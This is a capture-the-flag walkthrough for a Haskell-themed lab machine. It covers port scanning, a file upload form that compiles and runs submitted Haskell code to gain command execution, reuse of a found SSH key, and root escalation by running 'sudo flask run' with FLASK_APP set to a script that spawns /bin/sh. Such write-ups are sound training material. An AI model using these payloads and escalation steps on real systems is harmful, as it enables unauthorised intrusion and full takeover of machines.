Capture user.txt and root.txt flags
As always let’s start with a port scan of the machine
1 2 3 4 5 6 7 8 9 10 11 12 13 Nmap scan report for <IP> Scanned at 2020-06-17 21:58:09 CEST for 31s Not shown: 976 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 5001/tcp open http Gunicorn 19.7.1 | http-methods: |_ Supported Methods: HEAD OPTIONS GET |_http-server-header: gunicorn/19.7.1 |_http-title: Homepage Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We see an open ssh and http server. As we can’t do anything with ssh yet let’s check out the website
When we visit the website we’re greeted with an index saying something about functional programming with Haskell and a homework After going through the only link on the page we’re presented with the list of tasks for the said homework The submit link on the site doesn’t work so the logical thing to do is to bruteforce routes
1 200 - /submit
From the scan we conduct that the submit page is under another route
After visiting the page we are presented with an upload form
Trying to upload a normal txt file the site doesn’t say anything. As we know from previous pages this site probably accepts a haskell scripts so let’s try a simple hello world
1 main = putStrLn "Hello, World!"
We can see that our code is compiled and executed afterwards. Let’s try to execute a command on the box
1 2 import System.Process main = callCommand "ls"
And now we have the ability to gain a shell. We can now run a simple nc reverse shell command from pentestmonkey or we can use a haskell reverse shell the room creator made (he also made an awesome blog post explaining how it works)
Now that we have a shell we can check who we are
1 2 $ id uid=1001(flask) gid=1001(flask) groups=1001(flask)
As “flask” we can’t really execute anything to get a privileged shell so let’s browse the filesystem.
Looking through /home we can see two other users
1 2 3 4 $ ls -l /home drwxr-xr-x 6 flask flask 4096 May 27 19:07 flask drwxr-xr-x 7 haskell haskell 4096 May 27 19:08 haskell drwxr-xr-x 7 prof prof 4096 May 27 19:07 prof
Looking through haskell’s files we don’t find anything but prof has a user flag and a .ssh folder with and ssh key. With that we can now switch to the other user.
Checking the usual stuff like suid files and sudo permissions we can see that we can execute “flask” as root without a password
1 2 3 4 5 Matching Defaults entries for prof on haskhell: env_reset, env_keep+=FLASK_APP, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User prof may run the following commands on haskhell: (root) NOPASSWD: /usr/bin/flask run
The flask command is just a python wrapper that will execute flask specific functions so the app runs properly but we can leverage that to run normal python code instead.
We can write a simple python script that executes /bin/sh and get a root shell.
1 2 import os os.system("/bin/sh")
To execute that specific script as a flask app we need to specify the filename in a FLASK_APP env variable. Looking at sudo permissions we can see that this is the only env variable that is kept from our environment.
1 2 3 $ FLASK_APP=app.py sudo /usr/bin/flask run # id uid=0(root) gid=0(root) groups=0(root)
Now that we have root we can read the root flag
- sgtscout for creating this room
- you for reading.
Hope you learned something :)